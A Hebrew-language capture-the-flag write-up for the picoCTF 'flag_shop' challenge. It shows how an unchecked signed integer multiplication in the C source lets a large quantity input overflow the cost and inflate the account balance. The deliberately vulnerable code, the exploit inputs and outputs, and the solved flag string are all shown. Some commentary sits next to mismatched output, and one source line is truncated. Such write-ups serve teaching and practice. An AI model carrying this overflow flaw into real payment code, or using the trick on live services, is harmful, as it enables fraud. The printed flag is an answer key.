Mark Seliternikov
picoCTF - flag_shop [300 points]

לאתגר זה מקבלים ההוסט והפורט הבאים

```
mark@mark-ubuntu:~$ nc jupiter.challenges.picoctf.org 4906
```

מה שרואים ברגע שמתחברים זה את הפלט הבא:

```
Welcome to the flag exchange
We sell flags

1. Check Account Balance

2. Buy Flags

3. Exit

 Enter a menu selection
```

מה שמעניין אותנו זה הדגלים.

```
 Enter a menu selection
2
Currently for sale
1. Defintely not the flag Flag
2. 1337 Flag
```

לפי ה-source code אפשר לראות שכאשר עושים את בחירה מספר 2, מודפס flag.txt. שבו ככל הנראה נמצא הדגל של האתגר.

```c
else if(auction_choice == 2){
    printf("1337 flags cost 100000 dollars, and we only have 1 in stock\n");
    printf("Enter 1 to buy one");
    int bid = 0;
    fflush(stdin);
    scanf("%d", &bid);

    if(bid == 1){

        if(account_balance > 100000){
            FILE *f = fopen("flag.txt", "r");
            if(f == NULL){

                printf("flag not found: please run this on the server\n");
                exit(0);
            }
            char buf[64];
            fgets(buf, 63, f);
            printf("YOUR FLAG IS: %s\n", buf);
            }

        else{
            printf("\nNot enough funds for transaction\n\n\n");
        }}
```

אבל ניתן לעשות זאת רק אם המשתנה של ה-account_balance גבוה מספיק. שכמובן לא יהיה גבוה מספיק כי אחרת לא יהיה פה שום אתגר.

```c
int account_balance = 1100;
```

לכן צריך למצוא כאן איזושהי פירצה.
למזלי התוכנה נכתבה בשפת C, והמשתנים שעוקבים אחרי כל הנתונים הם ב-int.
ובמקרה שלנו מה שמאפשר לנו לדחוף את הint לקצה זה ה-prompt שמבקש כמויות ולא בחירה של menu.

```c
int number_flags = 0;
```

אני יודע שההגבלה של int במקסימום ב-C היא: **2147483647**
לפי התוכנה, כאשר היא מחשבת את המחיר הסופי היא מחפילה ב900, שזה המחיר של דגל "knockoff" יחיד

```c
printf("These knockoff Flags cost 900 each, enter desired quantity\n");

int number_flags = 0;
fflush(stdin);
scanf("%d", &number_flags);
if(number_flags > 0){
    int total_cost = 0;
    total_cost = 900*number_flags;
    printf("\nThe final cost is: %d\n", total_cost);
    if(total_cost <= account_balance){
```

```
Currently for sale
1. Defintely not the flag Flag
2. 1337 Flag
1
These knockoff Flags cost 900 each, enter desired quantity
2386092

The final cost is: 2147482800
Not enough funds to complete purchase
```

עכשיו, אראה את הנקודה שבה ה-int "יוצא משליטה"
כאן ניתן לראות שהכל עדיין עובד כמו שהמתכנת רצה.

```
These knockoff Flags cost 900 each, enter desired quantity
2386093

The final cost is: -2147483596

Your current balance after transaction: -2147482600
```

אבל כאשר אני מוסיף עוד +1. המספר כבר לא אחד ש-int יכול להתמודד איתו ואני מקבל תוצאה לא הגיונית.

```
These knockoff Flags cost 900 each, enter desired quantity
123456789

The final cost is: -558039596

Your current balance after transaction: 558040696
```

עכשיו, אני יודע איך לשחק עם ה-account_balance. אבל אני צריך מספר גבוהה יותר כדי שאוכל לקנות את הדגל האמיתי. אז ניסיתי מספר אפילו יותר גבוהה

כפי שאפשר לראות הצלחתי להשיג את מה שרציתי.
(כיף לקנות ולקבל על זה כסף...)

```
1337 flags cost 100000 dollars, and we only have 1 in stock
Enter 1 to buy one1
YOUR FLAG IS: picoCTF{m0n3y_bag5_9c5fac9b}
Welcome to the flag exchange
```

עכשיו כאשר יש למשתמש מספיק כסף, אני יכול פשוט לקנות את הדגל וה-if יהיה true והדגל יודפס.

<u>ה-source code למי שמעוניין</u>

```c
#include <stdio.h>
#include <stdlib.h>
int main()
{
    setbuf(stdout, NULL);
    int con;
    con = 0;
    int account_balance = 1100;
    while(con == 0){

        printf("Welcome to the flag exchange\n");
        printf("We sell flags\n");

        printf("\n1. Check Account Balance\n");
        printf("\n2. Buy Flags\n");
        printf("\n3. Exit\n");
        int menu;
        printf("\n Enter a menu selection\n");
        fflush(stdin);
        scanf("%d", &menu);
        if(menu == 1){
            printf("\n\n\n Balance: %d \n\n\n", account_balance);
        }
        else if(menu == 2){
            printf("Currently for sale\n");
            printf("1. Defintely not the flag Flag\n");
            printf("2. 1337 Flag\n");
            int auction_choice;
            fflush(stdin);
            scanf("%d", &auction_choice);
            if(auction_choice == 1){
                printf("These knockoff Flags cost 900 each, enter desired quantity\n");

                int number_flags = 0;
                fflush(stdin);
                scanf("%d", &number_flags);
                if(number_flags > 0){
                    int total_cost = 0;
                    total_cost = 900*number_flags;
                    printf("\nThe final cost is: %d\n", total_cost);
                    if(total_cost <= account_balance){
                        account_balance = account_balance - total_cost;
                        printf("\nYour current balance after transaction: %d\n\n", account_bal
                    }
                    else{
                        printf("Not enough funds to complete purchase\n");
                    }


                }



            }
            else if(auction_choice == 2){
```

```c
            }
            else if(auction_choice == 2){
                printf("1337 flags cost 100000 dollars, and we only have 1 in stock\n");
                printf("Enter 1 to buy one");
                int bid = 0;
                fflush(stdin);
                scanf("%d", &bid);

                if(bid == 1){

                    if(account_balance > 100000){
                        FILE *f = fopen("flag.txt", "r");
                        if(f == NULL){

                            printf("flag not found: please run this on the server\n");
                            exit(0);
                        }
                        char buf[64];
                        fgets(buf, 63, f);
                        printf("YOUR FLAG IS: %s\n", buf);
                        }

                    else{
                        printf("\nNot enough funds for transaction\n\n\n");
                        }}

            }
        }
        else{
            con = 1;
        }

    }
    return 0;
}
```